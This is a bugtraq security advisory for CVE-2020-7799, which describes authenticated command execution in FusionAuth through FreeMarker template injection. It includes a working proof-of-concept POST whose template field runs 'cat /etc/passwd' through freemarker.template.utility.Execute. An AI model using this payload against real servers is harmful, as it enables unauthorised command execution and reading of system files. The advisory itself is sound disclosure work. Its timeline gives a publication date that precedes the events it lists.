CVE - CVE-2020-7799 - FusionAuth command execution via Apache Freemarker Template

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Dear bugtraq,

Please find attached an advisory for the following vulnerability, " FusionAuth command execution via Apache Freemarker Template".
Description:	An authenticated attacker with enough privileges to access the template editing functions (either site templates or e-mail templates) in the FusionAuth dashboard can execute commands on the underlying operating system using the Apache FreeMarker Expression language.

For further information, please refer to: 

	https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt 
	
-------------------------------------------------------------------------
Gianluca Baldi,  Security Advisor                   
Offensive Security Certified Professional (OSCP)

"Program testing can be used to show the presence of bugs, but never to show their absence!" Edsger W. Dijkstra

@Mediaservice.net S.r.l.         
Tel: +39-011-32.72.100  (centralino) 
Fax: +39-011-32.46.497
Via Santorelli, 15 - 10095 Grugliasco (TO) - ITALY  
https://www.mediaservice.net/disclaimer
-------------------------------------------------------------------------

@Mediaservice.net Security Advisory #2020-03 (last updated on 2020-01-27)

	 Title:	FusionAuth command execution via Apache Freemarker Template
   Application:	FusionAuth 1.10 and lower
     Platforms:	Tested on Windows 10 and Ubuntu 19.10
   Description:	An authenticated attacker with enough privileges to access the
		template editing functions (either site templates or e-mail
		templates) in the FusionAuth dashboard can execute commands on
                the underlying operating system using the Apache FreeMarker
                Expression language. 
        Author:	Gianluca Baldi <gianluca.baldi@xxxxxxxxxxxxxxxx>
 Vendor Status:	https://fusionauth.io/contact - notified on 2019-10-24
      CVE Name:	CVE-2020-7799
    References: https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt
		https://fusionauth.io/
		https://freemarker.apache.org/
		https://www.mediaservice.net/

1. Abstract.

FusionAuth is a modern Access Management open source application, that can be
integrated with multiple technologies and platforms. FusionAuth can be
configured and customized in many ways from the administration dashboard and to
do so privileged acounts can modify templates.

FusionAuth Templates are in fact Apache Freemarker Templates, that are
interpreted by the Apache Freemarker Templates Engine. Since it is possible to
execute system commands using the Apache Freemarker Expression language,
template editing features can be abused to execute remote commands effectively,
using the "freemarker.template.utility.Execute" object.

2. Affected Platforms.

This vulnerability is platform-independent.

3. Fix.

This vulnerability has been fixed in version 1.11 of FusionAuth.

4. Proof of Concept.

Example POST request (Home -> Settings -> Email Templates -> Preview):

POST /ajax/email/template/preview HTTP/1.1
Host: 192.168.0.3:9011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 796
DNT: 1
Connection: close
Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807; 

primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}

5. Disclosure Timeline

2019-10-23 - First contact (issue in FusionAuth 1.9.1).
2019-10-24 - First PoC sent to the vendor.
2019-10-25 - Vendor investigates the issue.
2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23).
2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0).
2020-01-20 - Asked for updates on issue.
2020-01-20 - Vendor states that the issue has been fixed already.
2020-01-22 - Assigned CVE-2020-7799.
2019-02-27 - Advisory published.

Copyright (c) 2020 Gianluca Baldi and @Mediaservice.net. All rights reserved.

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux